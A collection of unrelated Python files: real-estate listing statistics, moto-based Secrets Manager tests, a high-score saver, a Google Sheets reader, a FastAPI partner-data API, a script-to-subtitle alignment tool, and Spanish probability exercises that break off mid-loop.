from SimpleSQL3 import SimpleSQL3
from datetime import datetime, timedelta
from collections import namedtuple
import os

# CONSTANTS

MLSMAJ_DB = os.path.join(os.path.split(os.path.abspath(os.pardir))[0], "database", "mlsmaj.db")  # Production
MLS_MAP = SimpleSQL3(MLSMAJ_DB, "mls_map")

TODAY = datetime.today()
SEVEN_DAYS_AGO = TODAY - timedelta(7)
ONE_YR_AGO = TODAY - timedelta(365)
YEAR, MONTH, DAY = TODAY.strftime("%Y-%m-%d").split("-")
# PIN is grabbed in TODAY_SEVEN because the dict holds sets, which will filter out any doubles
TODAY_SEVEN = MLS_MAP.custom_sql(f"""SELECT pin, email_type, major_area FROM mls_map
                            WHERE date BETWEEN '{SEVEN_DAYS_AGO.strftime('%Y-%m-%d')}'
                            AND '{TODAY.strftime('%Y-%m-%d')}'""")
list_sell = namedtuple("lsr", ["list", "sold", "ratio"])
IgnoredPins = namedtuple("IgnoredPins", ["not_sold", "cond_not_sold"])

# FUNCTIONS

def parse_price_gen(table_data):
    table_data = (x[0][3:] for x in table_data)  # First 3 characters are junk
    table_data = (item.split(" ")[0].replace(",", "") for item in table_data)
    return table_data

def parse_price(parse_this):
    x = parse_this[3:].replace(",", "").split(" ")[0]
    return x

def get_average(avg_this, return_int=True):
    temp = 0
    for count, num in enumerate(avg_this, 1):
        temp += float(num)
    if return_int:
        return int(temp/count)
    else:
        return float(temp/count)

def get_timespent(ignrd_pins, ref_dict, xref_dict, getsold=True):
    temp_list = []
    if getsold:
        for t in ref_dict:
            if t[0] in ignrd_pins:
                continue
            for x in xref_dict:
                if t[0] in x:
                    temp_list.append(abs((datetime.strptime(t[3], "%Y-%m-%d") - datetime.strptime(x[3], "%Y-%m-%d")).days))
        return temp_list
    else:
        for t in ref_dict:
            if t[0] in ignrd_pins:
                continue
            for x in xref_dict:
                if t[0] in x:
                    temp_list.append(abs((datetime.strptime(t[3], "%Y-%m-%d") - datetime.strptime(x[3], "%Y-%m-%d")).days))
        return temp_list

# SEVEN DAY COUNT
# Dict keys are abbreviations of the searches: na is North Active
status_area = {

    "na": len({a for a in TODAY_SEVEN if "ACTIVE" in a for z in a if "NORTH" in z}),
    "sa": len({a for a in TODAY_SEVEN if "ACTIVE" in a for z in a if "SOUTH" in z}),
    "ea": len({a for a in TODAY_SEVEN if "ACTIVE" in a for z in a if "EAST" in z}),
    "nc": len({a for a in TODAY_SEVEN if "CONDITIONAL" in a for z in a if "NORTH" in z}),
    "sc": len({a for a in TODAY_SEVEN if "CONDITIONAL" in a for z in a if "SOUTH" in z}),
    "ec": len({a for a in TODAY_SEVEN if "CONDITIONAL" in a for z in a if "EAST" in z}),
    "ns": len({a for a in TODAY_SEVEN if "SOLD" in a for z in a if "NORTH" in z}),
    "ss": len({a for a in TODAY_SEVEN if "SOLD" in a for z in a if "SOUTH" in z}),
    "es": len({a for a in TODAY_SEVEN if "SOLD" in a for z in a if "EAST" in z})

}

# SEVEN DAY COUNT END

# AVERAGE PRICES START

north_avg = get_average(parse_price_gen(MLS_MAP.custom_sql(f"""SELECT info FROM mls_map
                            WHERE email_type='SOLD' AND major_area='NORTH' AND date BETWEEN '{ONE_YR_AGO.strftime('%Y-%m-%d')}'
                            AND '{TODAY.strftime('%Y-%m-%d')}'""")))
south_avg = get_average(parse_price_gen(MLS_MAP.custom_sql(f"""SELECT info FROM mls_map
                            WHERE email_type='SOLD' AND major_area='SOUTH' AND date BETWEEN '{ONE_YR_AGO.strftime('%Y-%m-%d')}'
                            AND '{TODAY.strftime('%Y-%m-%d')}'""")))
east_avg = get_average(parse_price_gen(MLS_MAP.custom_sql(f"""SELECT info FROM mls_map
                            WHERE email_type='SOLD' AND major_area='EAST' AND date BETWEEN '{ONE_YR_AGO.strftime('%Y-%m-%d')}'
                            AND '{TODAY.strftime('%Y-%m-%d')}'""")))
city_avg = int((north_avg+south_avg+east_avg)/3)
# AVERAGE PRICES END

# AVERAGE DOM FOR LAST 30 DAYS
"""Select all SOLD, COND & ACTIVE last 365 days
Compare the pins, if active pin exists in sold pins then timedelta the dates, if not then ditch the pin
"""
# DOM = days on market
one_yr = MLS_MAP.custom_sql(f"""SELECT pin, major_area, email_type, date, info FROM mls_map
                            WHERE date BETWEEN '{ONE_YR_AGO.strftime('%Y-%m-%d')}' AND '{TODAY.strftime('%Y-%m-%d')}'""")

one_yr_pins = {
    "active": {
        "pins": {x[0] for x in one_yr if "ACTIVE" in x},
        "data": {x for x in one_yr if "ACTIVE" in x}
    },
    "cond": {
        "pins": {x[0] for x in one_yr if "CONDITIONAL" in x},
        "data": {x for x in one_yr if "CONDITIONAL" in x}
    },
    "sold": {
        "pins":  {x[0] for x in one_yr if "SOLD" in x},
        "data": {x for x in one_yr if "SOLD" in x}
    }
}

north_one_yr_pins = {
    "active": {
        "data": {x for x in one_yr_pins["active"]["data"] if "NORTH" in x}
    },
    "cond": {
        "data": {x for x in one_yr_pins["cond"]["data"] if "NORTH" in x}
    },
    "sold": {
        "data": {x for x in one_yr_pins["sold"]["data"] if "NORTH" in x}
    }
}

south_one_yr_pins = {
    "active": {
        "data": {x for x in one_yr_pins["active"]["data"] if "SOUTH" in x}
    },
    "cond": {
        "data": {x for x in one_yr_pins["cond"]["data"] if "SOUTH" in x}
    },
    "sold": {
        "data": {x for x in one_yr_pins["sold"]["data"] if "SOUTH" in x}
    }
}

east_one_yr_pins = {
    "active": {
        "data": {x for x in one_yr_pins["active"]["data"] if "EAST" in x}
    },
    "cond": {
        "data": {x for x in one_yr_pins["cond"]["data"] if "EAST" in x}
    },
    "sold": {
        "data": {x for x in one_yr_pins["sold"]["data"] if "EAST" in x}
    }
}

IgnoredPins = IgnoredPins(not_sold=one_yr_pins['active']['pins'] - one_yr_pins['sold']['pins'],
                          cond_not_sold=one_yr_pins['cond']['pins'] - one_yr_pins['sold']['pins'])

city_avg_dom = get_average(get_timespent(IgnoredPins.not_sold, one_yr_pins['active']['data'], one_yr_pins['sold']['data']))
time_spent_cond = get_average(get_timespent(IgnoredPins.not_sold, one_yr_pins['cond']['data'], one_yr_pins['sold']['data'], False))

maj_area_time = {
    "north": {
        "dom": get_average(get_timespent(IgnoredPins.not_sold, north_one_yr_pins['active']['data'], one_yr_pins['sold']['data'])),
        "cdom": get_average(get_timespent(IgnoredPins.not_sold, north_one_yr_pins['cond']['data'], one_yr_pins['sold']['data'], False))
    },
    "south": {
        "dom": get_average(get_timespent(IgnoredPins.not_sold, south_one_yr_pins['active']['data'], one_yr_pins['sold']['data'])),
        "cdom": get_average(get_timespent(IgnoredPins.not_sold, south_one_yr_pins['cond']['data'], one_yr_pins['sold']['data'], False))
    },
    "east": {
        "dom": get_average(get_timespent(IgnoredPins.not_sold, east_one_yr_pins['active']['data'], one_yr_pins['sold']['data'])),
        "cdom": get_average(get_timespent(IgnoredPins.not_sold, east_one_yr_pins['cond']['data'], one_yr_pins['sold']['data'], False))
    }
}

# END AVERAGE DOM

# TODAY SECTION START

today_active = [x for x in one_yr_pins['active']['data'] if TODAY.strftime("%Y-%m-%d") in x]
today_cond = [x for x in one_yr_pins['cond']['data'] if TODAY.strftime("%Y-%m-%d") in x]
today_sold = [x for x in one_yr_pins['sold']['data'] if TODAY.strftime("%Y-%m-%d") in x]

# TODAY SECTION END

# LIST TO SALE RATIO %
temp_list = []
for t in one_yr_pins['active']['data']:
    if t[0] in IgnoredPins.not_sold:
        continue
    for x in one_yr_pins['sold']['data']:
        if t[0] in x:
            temp_list.append(list_sell(list=int(parse_price(t[4])), sold=int(parse_price(x[4])),
                                       ratio=round(int(parse_price(x[4]))/int(parse_price(t[4])), 2)))

avg_lsr = int(get_average([x.ratio for x in temp_list], False)*100)

# END LIST TO SALE RATIO %

# INSIGHTS PAGE OUTPUTS

insights = SimpleSQL3(MLSMAJ_DB, "insights", False,
                      date="TEXT", today_active="INTEGER", today_cond="INTEGER", today_sold="INTEGER", north_avg="INTEGER", south_avg="INTEGER",
                      east_avg="INTEGER", city_avg="INTEGER", city_avg_dom="INTEGER", north_avg_dom="INTEGER", south_avg_dom="INTEGER",
                      east_avg_dom="INTEGER", time_spent_cond="INTEGER", avg_lsr="INTEGER", status_area="TEXT")

insights_insert = TODAY.strftime("%Y-%m-%d"), len(today_active), len(today_cond), len(
    today_sold), north_avg, south_avg, east_avg, city_avg, city_avg_dom, str(maj_area_time["north"]), str(maj_area_time["south"]), str(
    maj_area_time["east"]), time_spent_cond, avg_lsr, str(status_area)
insights.insert(*insights_insert)


from explorer.credentials import CredentialsManager
import pytest
from moto import mock_secretsmanager
import boto3

@pytest.fixture
def create_mocked_secret_manager_connection():
    with mock_secretsmanager():
        yield boto3.session.Session().client(
            service_name="secretsmanager", region_name="us-east-1"
        )

@pytest.fixture
def create_test_secret(create_mocked_secret_manager_connection):
    create_mocked_secret_manager_connection.create_secret(
        Name="mock_secret", SecretString="""{"mock_secret_key": "mock_secret_value"}""",
    )

def test_retrieve_secret_string(
    monkeypatch, create_mocked_secret_manager_connection, create_test_secret
):
    def get_mocked_secret_manager(*args, **kwargs):
        return create_mocked_secret_manager_connection

    monkeypatch.setattr(
        CredentialsManager, "_create_boto_client", get_mocked_secret_manager,
    )

    credentials_client = CredentialsManager("mock_secret")

    assert credentials_client.retrieve_secret_string() == {
        "mock_secret_key": "mock_secret_value"
    }

def test_unexisting_secret():
    credentials_client = CredentialsManager("secret_that_doesnt_exist")

    with pytest.raises(Exception) as excinfo:
        credentials_client.retrieve_secret_string()

    assert "ResourceNotFoundException" in str(excinfo.errisinstance)
    assert "Secrets Manager can't find the specified secret" in str(excinfo.value)

def test_wrong_region():
    with pytest.raises(Exception) as excinfo:
        CredentialsManager(
            "some_secret", "region_that_doesnt_exist"
        ).retrieve_secret_string()

    assert (
        "Invalid endpoint: https://secretsmanager.region_that_doesnt_exist.amazonaws.com"
        in str(excinfo.value)
    )


from datetime import date

class FileManager:
    """A class designed to save data into the file."""

    def __init__(self):
        """Necessary attributes initialization."""
        self.filename = 'best_score.txt'
        self.filename_path = 'data/' + self.filename

        self.data = {}

    def save_data(self, score):
        """Saving the data with the highest score into the file."""
        if self._check_data(score):
            # Get the current date and time.
            date_now = date.today().strftime("%d-%m-%Y")

            # Preparation of data for saving.
            self.data['best_score'] = str(score)
            self.data['date'] = date_now

            with open(self.filename_path, 'w') as file_object:
                for key, value in self.data.items():
                    file_object.write(key + ': ' + value + '\n')

    def _check_data(self, score):
        """Checking the current data in the file."""
        try:
            with open(self.filename_path, 'r') as file_object:
                contents = file_object.read()
        except FileNotFoundError:
            return True

        # Preparation of data for saving.
        words = contents.split()
        try:
            self.data['best_score'] = words[1]
        except IndexError:
            return True

        # Convert a score to a number.
        best_score = int(self.data['best_score'])
        current_score = int(score)

        # Checking if a new record has been set.
        if current_score > best_score:
            return True

        return False


import httplib2
from googleapiclient.discovery import build
from oauth2client.service_account import ServiceAccountCredentials
from pprint import pprint
path_json = 'credentials-serv-acc.json'

creds_auth = ServiceAccountCredentials\
    .from_json_keyfile_name(path_json, ['https://www.googleapis.com/auth/spreadsheets',
                                        'https://www.googleapis.com''/auth/drive'])\
    .authorize(httplib2.Http())

service = build('sheets', 'v4', http=creds_auth)

sheet_id = '1k40lGVdZNvytbByH2Ap45ojFGJfjLrG-MIQEBIUVIJY'

sss = service.spreadsheets()

r = sss.values().get(spreadsheetId=sheet_id, range='A2:E').execute()
print(r)


from fastapi import FastAPI
from fastapi import Depends
from fastapi import HTTPException
from fastapi.responses import JSONResponse
from fastapi.responses import RedirectResponse

from Services.authenticate import authenticate
from Services.atualizacaoBancoDeDadosService import AtualizacaoBancoDeDadosService
from Services.listagemParceirosService import ListagemParceirosService
from Services.dadosParceiros import DadosParceiros

from models import BodyAtualizacaoParceiros

app = FastAPI()

@app.get("/", include_in_schema=False)
async def redirect_to_docs():
    return RedirectResponse(url="/docs")

@app.post("/atualizacaoParceiros")
async def atualiza_banco_de_dados(Body: BodyAtualizacaoParceiros,token: str = Depends(authenticate)):

    SERVICE = AtualizacaoBancoDeDadosService()

    endereco_csv = Body.url_csv_hosteado

    retorno = SERVICE.verifica_base_cnpjs(endereco_csv)
    base_input = retorno[0]
    validador = retorno[1]

    if validador == False:
        content = {"mensagem" : "CSV contem cpf na coluna cnpj, ou esta vazio, ou esta corrompido - Reveja seus dados", "response": {}}
        return JSONResponse(content=content, status_code=400)

    base_input = SERVICE.renomeia_colunas_data_frame(base_input)
    SERVICE.atualiza_banco_de_dados_via_data_frame(base_input,'parceiros','cnpj')

    base_ceps = SERVICE.pega_infs_ceps(base_input)
    SERVICE.atualiza_banco_de_dados_via_data_frame(base_ceps,'infs_cep_parceiros','cep')

    content = {"mensagem" : "Sucesso", "response": {}}
    return JSONResponse(content=content, status_code=200)

@app.get("/ListagemParceiros")
async def listagem(token: str = Depends(authenticate)):

    SERVICE = ListagemParceirosService()
    parceiros_atuais = SERVICE.listagem()

    return JSONResponse(content=parceiros_atuais, status_code=200)

@app.get("/DadosParceiros/{cnpj}")
async def dados_parceiros(cnpj: int,token: str = Depends(authenticate)):

    SERVICE = DadosParceiros()
    dados_parceiros = SERVICE.retorna_infs_parceiros(str(cnpj))
    dados_parceiros = dados_parceiros.to_dict(orient='records')

    return JSONResponse(content=dados_parceiros, status_code=200)


# coding=utf-8
import re
import datetime
import argparse, os, logging, time
logger = logging.getLogger(__name__)
class Episode():
    def __init__(self, args):
        self.args = args
        self.episodeList = []
        self.sessionList = []

        self.readEpisode()
        self.splitSession()
        # delete empty session in sessionList
        for s in self.sessionList:
            if len(s.sessionContent) == 0:
                self.sessionList.remove(s)

    def readEpisode(self):
        dir = self.args.scripts
        for root, dirs, files in os.walk(dir):
            for i in files:
                with open(dir+i, "r", encoding='UTF-8') as f:
                    self.episodeList.append(f.read())

    def splitSession(self):
        episodeNum = 0
        for s in self.episodeList:
            # clean the script
            s = s.replace('’', '\'')
            s = s.replace('\n\n', '\n').replace('’', '\'')
            # 剧本字幕统一表达
            s = s.replace('Lesley', 'Leslie')
            s = s.replace('mum', 'mom')
            splitSession = s.split('Scene:')
            while "" in splitSession:
                splitSession.remove("")
            sessionNum = 0

            for ss in splitSession:
                charactor = {}
                ss = ss.split('\n')
                while "" in ss:
                    ss.remove("")
                sessionLocation = ss[0]
                ss.pop(0)
                for line in ss:
                    if 'Scene:' in line:
                        continue
                    elif ':' in line:
                        person = line.split(':')[0]
                        charactor.setdefault(person, 0)
                        charactor[person] += 1
                self.sessionList.append(Session(episodeNum, sessionNum, charactor, ss, sessionLocation))
                sessionNum = sessionNum + 1
            episodeNum = episodeNum + 1

    def showInfo(self):
        print('Sum of session%d' %len(self.sessionList))

class Session():
    def __init__(self, episodeNum, sessionNum, charactor, sessionContent, sessionLocation):
        '''
        简单格式的剧本场景信息的切割
        :param session_content: 切割好的一场的所有内容
        episodeNum: 剧集编号
        sessionNum: 场景编号
        summary: 剧集简介
        charactor: 场景演员表
        '''
        self.episodeNum = 0
        self.sessionNum = 0
        self.beginTimeBlockNum = None
        self.endTimeBlockNum = None
        self.sessionBeginTime = ''
        self.sessionEndTime = ''
        self.summary = ''
        self.sessionLocation = sessionLocation
        self.charactor = {}
        self.mainEmotion = ''
        self.dialogueList = []
        self.sessionContent = ''
        self.dialogueSplitFlag = []

        self.episodeNum = episodeNum
        self.sessionNum = sessionNum
        self.charactor = charactor
        self.sessionContent = sessionContent
        """self.cleanSession()
        self.splitDialogue()"""

    def cleanSession(self):
        # 去除集数和简介信息
        for i in range(len(self.sessionContent)-1, -1, -1):
            if '第' in self.sessionContent[i] and '集' in self.sessionContent[i]:
                self.sessionContent.pop(i)
                continue
            elif '简介' in self.sessionContent[i] or '提供' in self.sessionContent[i] or '编剧' in self.sessionContent[i]:
                self.sessionContent.pop(i)

    def splitDialogue(self):
        for i in range(len(self.sessionContent)):
            if '（' in self.sessionContent[i] and '）' in self.sessionContent[i] and '上' in self.sessionContent[i]:
                self.dialogueSplitFlag.append(i)
                continue
            elif '（' in self.sessionContent[i] and '）' in self.sessionContent[i] and '对' in self.sessionContent[i]:
                self.dialogueSplitFlag.append(i)
                continue
            elif '：' in self.sessionContent[i] or ':' in self.sessionContent[i]:
                continue
            else:
                self.dialogueSplitFlag.append(i)

        for f in range(len(self.dialogueSplitFlag) - 1):
            self.dialogueList.append(Dialogue(self.sessionContent[self.dialogueSplitFlag[f]:self.dialogueSplitFlag[f+1]]))

class Dialogue():
    def __init__(self, dialogueContent):
        '''
        将一个场景分割为多段对话
        :param session_content: 切割好的一段对话的所有内容
        '''
        self.beginTime = ''
        self.endTime = ''
        self.summary = ''
        self.sessionLocation = ''
        self.charactor = {}
        self.mainEmotion = ''
        self.lineList = []
        self.dialogueContent = ''

        #self.summary = summary
        self.dialogueContent = dialogueContent

class Subtitle():
    def __init__(self, args):
        self.args = args
        self.subtitleList = []
        self.timeBlockList = []
        self.readSubtitle()
        self.splitSubtitle()
        self.setTimeBlockNum()
        self.timeBlockLen = len(self.timeBlockList)

    def readSubtitle(self):
        dir = self.args.subtitle
        for root, dirs, files in os.walk(dir):
            for i in files:
                with open(dir+i, "r", encoding='gb18030') as f:
                    self.subtitleList.append(f.read())

    def splitSubtitle(self):
        episodeNum = 0
        for s in self.subtitleList:
            # clean the subtitle
            timeBlock = s.split('\n\n')
            while "" in timeBlock:
                timeBlock.remove("")
            for ss in timeBlock:
                ss = ss.split('\n')
                while "" in ss:
                    ss.remove("")
                if len(ss) == 4:
                    beginTime, endTime = ss[1].split('-->')
                    content_zh = ss[2]
                    content_en = ss[3].lower()
                    self.timeBlockList.append(
                        TimeBlock(episodeNum, beginTime, endTime, content_zh, content_en))
                # Find time
                else:
                    continue
            episodeNum = episodeNum + 1

    def setTimeBlockNum(self):
        for i in range(len(self.timeBlockList)):
            self.timeBlockList[i].timeBlockNum = i

class TimeBlock():
    def __init__(self, episodeNum, beginTime, endTime, content_zh, content_en):
        self.timeBlockNum = 0
        self.episodeNum = episodeNum
        self.beginTime = beginTime
        self.endTime = endTime
        self.content_zh = content_zh
        self.content_en = content_en

def parse_config():
    parser = argparse.ArgumentParser()

    # IO
    parser.add_argument('--scripts', type=str, default='../script/corpus/S01/scripts/')
    parser.add_argument('--subtitle', type=str, default='../script/corpus/S01/subtitle/')
    parser.add_argument('--video', type=str, default='../script/corpus/S01/video/')
    parser.add_argument('--output', type=str, default='../script/corpus/S01/split/')

    return parser.parse_args()

# 全字匹配
def isIncludeKeyWord(detailinfo, keyword):
  if -1 != detailinfo.find(keyword):
    pattern_str = '(^' + keyword + '$)|(^' + keyword + '(\W+).*)|(.*(\W+)' + keyword + '$)|(.*(\W+)' + keyword + '(\W+).*)'
    m = re.match(r'' + pattern_str + '', detailinfo)
    if m:
      return 1
  return 0

# 字幕时间相减 srt2 > srt1
def time_differ(date1, date2):
    date1 = date1.strip()
    date2 = date2.strip()
    date1 = re.sub(r',[0-9 ]+', '', date1)
    date2 = re.sub(r',[0-9 ]+', '', date2)
    '''
    @传入是时间格式如'12:55:05'
    '''
    date1 = datetime.datetime.strptime(date1, "%H:%M:%S")
    date2 = datetime.datetime.strptime(date2, "%H:%M:%S")
    if date1 < date2:
        return (date2 - date1).total_seconds()
    else:
        return (date1 - date2).total_seconds()

def LocateTime(episode, subtitle):
    # 已完成定位的段落将不再参与之后的定位
    flag = 0
    for s in episode.sessionList:
        episodeNum = s.episodeNum
        sessionNum = s.sessionNum
        alternate = []
        for sub in subtitle.timeBlockList:
            if sub.episodeNum == episodeNum and sub.timeBlockNum >= flag:
                alternate.append(sub)
            elif sub.episodeNum > episodeNum:
                break
            else:
                continue
        # locate begin
        i = 0
        while ':' not in s.sessionContent[i]:
            i = i + 1
        beginCharactor, beginContent1 = s.sessionContent[i].split(':')

        m = i + 1
        if m >= len(s.sessionContent) - 1:
            beginContent = beginContent1
        else:
            while ':' not in s.sessionContent[m]:
                m = m + 1
            _, beginContent2 = s.sessionContent[m].split(':', 1)
            beginContent = beginContent1 + beginContent2

        # 定位结尾
        j = len(s.sessionContent) - 1
        while True:
            if ':' in s.sessionContent[j] or j == 0:
                endCharactor, endContent1 = s.sessionContent[j].split(':')
                break
            else:
                j = j - 1

        n = j - 1
        while True:
            if ':' in s.sessionContent[n] or n == 0:
                _, endContent2 = s.sessionContent[n].split(':')
                break
            else:
                n = n - 1
        endContent = endContent2 + endContent1

        #beginContent = re.sub('\(.*?\)', '', beginContent)
        beginContent = beginContent.lower()
        #beginContent = max(beginContent, key=len, default='').lower().strip()

        #endContent = re.sub('\(.*?\)', '', endContent)
        endContent = endContent.lower()
        #endContent = max(endContent, key=len, default='').lower().strip()

        beginTime = None
        endTime = None
        timeBlockNum1 = timeBlockNum2 = None
        for i in range(len(alternate)):
            if i == len(alternate) - 1:
                _srt = re.split(r'[-.,?!"]', alternate[i].content_en)
                srt = max(_srt, key=len, default='').lower().strip()
                if isIncludeKeyWord(beginContent, srt):
                    beginTime = alternate[i].beginTime
                    timeBlockNum1 = alternate[i].timeBlockNum
                    # 完成开头定位的片段将不参与之后的结尾定位
                    alternate = alternate[i:]
                    break
            else:
                _srt = re.split(r'[-.,?!"]', alternate[i].content_en)
                _next = re.split(r'[-.,?!"]', alternate[i+1].content_en)
                srt_next = max(_next, key=len, default='').lower().strip()
                srt = max(_srt, key=len, default='').lower().strip()
                if isIncludeKeyWord(beginContent, srt) and isIncludeKeyWord(beginContent, srt_next):
                    beginTime = alternate[i].beginTime
                    timeBlockNum1 = alternate[i].timeBlockNum
                    # 完成开头定位的片段将不参与之后的结尾定位
                    alternate = alternate[i:]
                    break

        j = len(alternate) - 1
        while True:
            if j == 0:
                break
            else:
                _srt = re.split(r'[-.,?!"]', alternate[j].content_en)
                _next = re.split(r'[-.,?!"]', alternate[j - 1].content_en)
                srt_next = max(_next, key=len, default='').lower().strip()
                srt = max(_srt, key=len, default='').lower().strip()
                if isIncludeKeyWord(endContent, srt) and isIncludeKeyWord(endContent, srt_next):
                    endTime = alternate[j].endTime
                    timeBlockNum2 = alternate[j].timeBlockNum
                    flag = alternate[j].timeBlockNum
                    j = j - 1
                else:
                    j = j - 1

        if timeBlockNum2 and timeBlockNum1 and timeBlockNum2 > timeBlockNum1:
            s.sessionBeginTime = beginTime
            s.beginTimeBlockNum = timeBlockNum1
            s.sessionEndTime = endTime
            s.endTimeBlockNum = timeBlockNum2
        elif timeBlockNum1:
            s.sessionBeginTime = beginTime
            s.beginTimeBlockNum = timeBlockNum1
        elif timeBlockNum2:
            s.sessionEndTime = endTime
            s.endTimeBlockNum = timeBlockNum2
        else:
            continue
    # manual set time
    setTime(episode, subtitle)
    # if current session doesn't have begin-time or end-time, search the session before or after,
    # according to the continuity of time-block, set the begin-time or end-time
    for i in range(len(episode.sessionList)-1):
        if episode.sessionList[i].beginTimeBlockNum is None and episode.sessionList[i-1].endTimeBlockNum:
            episode.sessionList[i].sessionBeginTime = subtitle.timeBlockList[episode.sessionList[i-1].endTimeBlockNum+1].beginTime
            episode.sessionList[i].beginTimeBlockNum = subtitle.timeBlockList[episode.sessionList[i-1].endTimeBlockNum+1].timeBlockNum
        if episode.sessionList[i].endTimeBlockNum is None and episode.sessionList[i+1].beginTimeBlockNum:
            episode.sessionList[i].sessionEndTime = subtitle.timeBlockList[episode.sessionList[i+1].beginTimeBlockNum-1].beginTime
            episode.sessionList[i].endTimeBlockNum = subtitle.timeBlockList[episode.sessionList[i+1].beginTimeBlockNum-1].timeBlockNum

def setTime(episode,subtitle):
    dic = {}
    for s in subtitle.timeBlockList:
        temp = {s.beginTime: s.timeBlockNum}
        dic.update(temp)

    episode.sessionList[-1].sessionEndTime = subtitle.timeBlockList[-1].beginTime
    episode.sessionList[-1].endTimeBlockNum = len(subtitle.timeBlockList)
    episode.sessionList[158].sessionBeginTime = '00:19:19,920 '
    episode.sessionList[158].beginTimeBlockNum = dic[episode.sessionList[158].sessionBeginTime]

# 打印定位的置信度：定位前后三句话覆盖的单词比例
def printConfidence(episode, subtitle):
    reg = "[-.,?!\"]"
    for e in episode.sessionList:
        # 开头置信度计算
        content = e.sessionContent
        srt = subtitle.timeBlockList[e.beginTimeBlockNum].content_en
        srt1 = subtitle.timeBlockList[e.beginTimeBlockNum + 1].content_en
        srt2 = subtitle.timeBlockList[e.beginTimeBlockNum + 2].content_en
        srt3 = subtitle.timeBlockList[e.beginTimeBlockNum + 3].content_en
        #content = re.sub(reg, '', content)
        srt = re.sub(reg, '', srt)
        srt1 = re.sub(reg, '', srt1)
        srt2 = re.sub(reg, '', srt2)
        srt3 = re.sub(reg, '', srt3)

def main(args):

    logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s -   %(message)s',
                        datefmt='%m/%d/%Y %H:%M:%S',
                        level=logging.INFO)
    logger.info('Collecting data...')

    episode = Episode(args)

    subtitle = Subtitle(args)

    LocateTime(episode, subtitle)
    flag1 = 0
    flag2 = 0
    flag3 = 0
    noBegin = []
    noEnd = []
    for i in range(len(episode.sessionList)):
        if episode.sessionList[i].sessionBeginTime:
            flag1 = flag1 + 1
        else:
            noBegin.append(i)
        if episode.sessionList[i].sessionEndTime:
            flag2 = flag2 + 1
        else:
            noEnd.append(i)
        if episode.sessionList[i].sessionBeginTime and episode.sessionList[i].sessionEndTime:
            flag3 = flag3 + 1
    episode.showInfo()
    print(flag1, flag2, flag3)
    for i in noBegin:
        print(episode.sessionList[i].episodeNum, episode.sessionList[i].sessionNum)
    print('\n')
    for i in noEnd:
        print(episode.sessionList[i].episodeNum, episode.sessionList[i].sessionNum)
    printConfidence(episode, subtitle)
if __name__ == '__main__':
    args = parse_config()
    main(args)


                                  # PAQUETERÍAS

import math
import numpy as np
import random as rnd
import matplotlib.pyplot as plt

                                  # PROBLEMA 1

print("PROBLEMA 1: Escribe un programa que realice una grafica del valor al que converge la probabilidad de tirar una moneda N veces (hay un resultado para Águila y uno para Sol).")

Ns = []    # Aquí guardamos el número de experimentos
ProbA = [] # Aquí se guardan los valores de la probabilidad de sacar águila.
ProbS = [] # Aquí se guardan los valores de la probabilidad de sacar sol.

for N in range(1,501):  # Definimos el número de experimentos N. Es el CICLO FOR principal.

    # La cantidad de veces que salió águila y sol comienzan en 0.
    aguilas = 0
    soles = 0
    # La probabilidad de obtener cada lado de la moneda comienza en 0 (Opcional).
    pA = 0
    pS = 0

    for i in range(N):
        lanzamiento = rnd.random()  # Definimos el lanzamiento de la moneda con rnd.random.
        if lanzamiento > 0.5:       # Si el número es mayor a 0.5, sumar 1 a "aguilas".
            aguilas += 1
        else:                       # En caso contrario, sumar 1 a "soles".
            soles += 1
        # Es decir, se acumula el número de veces que cayó cada lado de la moneda.

    pA = float(aguilas)/float(N) # Probabilidad de obtener águila.
    pS = float(soles)/float(N)   # Probabilidad de obtener sol.

    Ns.append(N)      # Agregamos cada valor de N en la lista con el mismo nombre.
    ProbA.append(pA)  # Agregamos los valores de pA para cada valor de N en la lista ProbA.
    ProbS.append(pS)  # Agregamos los valores de pS para cada valor de N en la lista ProbS.

plt.plot(Ns,ProbA,'.',color='brown')    # Gráfica de ProbA VS N.
plt.plot(Ns,ProbS,'.',color='gold')     # Gráfica de ProbS VS N.
plt.axhline(0.5,color='black')          # Línea horizontal en P(A,B)=0.5, el cual es el valor al que convergen las probabilidades.
plt.title("Gráfica de $P(A,S)$ vs $N$") # Título de la gráfica. Donde P(A,B) significa "Probabilidad de obtener Águila y Sol"
plt.xlabel("$N$")                       # Título del eje X "Número de experimentos o lanzamientos".
plt.ylabel("$P(A,B)$")                  # Título del eje Y "Probabilidad de obtener Águila y Sol"

plt.show()
                                   # PROBLEMA 2

print("PROBLEMA 2: Escribe un programa que realice una gráfica del valor al que converge la probabilidad de sacar un 3 al tirar un dado de 6 caras N veces.")

Ns_1 = []     # Aquí guardamos el número de experimentos
Prob3 = []  # Aquí se guardan los valores de la probabilidad de obtener un 3 al tirar un dado.

for n in range(1,701):  # Definimos el número de experimentos n. Es el CICLO FOR principal.

    # La cantidad de veces que salió un 3 comienza en 0.
    sacar3 = 0
    # Los valores de la probabilidad de sacar un 3 comienzan en 0 (Opcional).
    #p3 = 0

    for i in range(n):
        lanzamiento = rnd.randint(1,6)  # Se lanza el dado con rnd.randint(a,b) para que devuelva un número entero aleatorio entre 1 y 6.
        if lanzamiento == 3:            # Si el número obtenido es el 3, entonces sumar 1 a "sacar3".
            sacar3 += 1

    # La probabilidad de sacar un 3 se calcula dividiendo el número de veces que salió un 3 entre el número de experimentos.
    p3 = float(sacar3)/float(n)

    Ns_1.append(n)      # Agregamos cada valor de N en la lista con el mismo nombre.
    Prob3.append(p3)  # Agregamos los valores de p3 para cada valor de N en la lista Prob3.

plt.plot(Ns_1,Prob3,'.',color='navy')      # Gráfica de Prob3 VS n.
plt.axhline(1/6,color='orangered')       # Línea horizontal en P(3)=1/6, el cual es el valor al que converge la probabilidad.
plt.title("Gráfica de $P(3)$ vs $n$")    # Título de la gráfica. Donde P(3) significa "Probabilidad de obtener un 3 al tirar un dado"
plt.xlabel("$n$")                        # Título del eje X "Número de experimentos o lanzamientos".
plt.ylabel("$P(3)$")                     # Título del eje Y "Probabilidad de obtener un 3"

plt.show()
                                     # PROBLEMA 3

print("PROBLEMA 3: Escribe un programa que realice una gráfica del valor al que converge la probabilidad de tirar 2 dados de 6 caras N veces y que la suma de los valores sea igual a 8, así como la de no obtenerlo.")

Ns_2 = []           # Aquí guardamos el número de experimentos
ProbSuma8 = []    # Aquí se guardan los valores de la probabilidad de obtener un 8 mediante la suma de dos dados.
ProbNoSuma8 = []  # Aquí se guardan los valores de la probabilidad de no obtener un 8 mediante la suma de dos dados.

for N_1 in range(1,801):  # Definimos el número de experimentos N. Es el CICLO FOR principal.

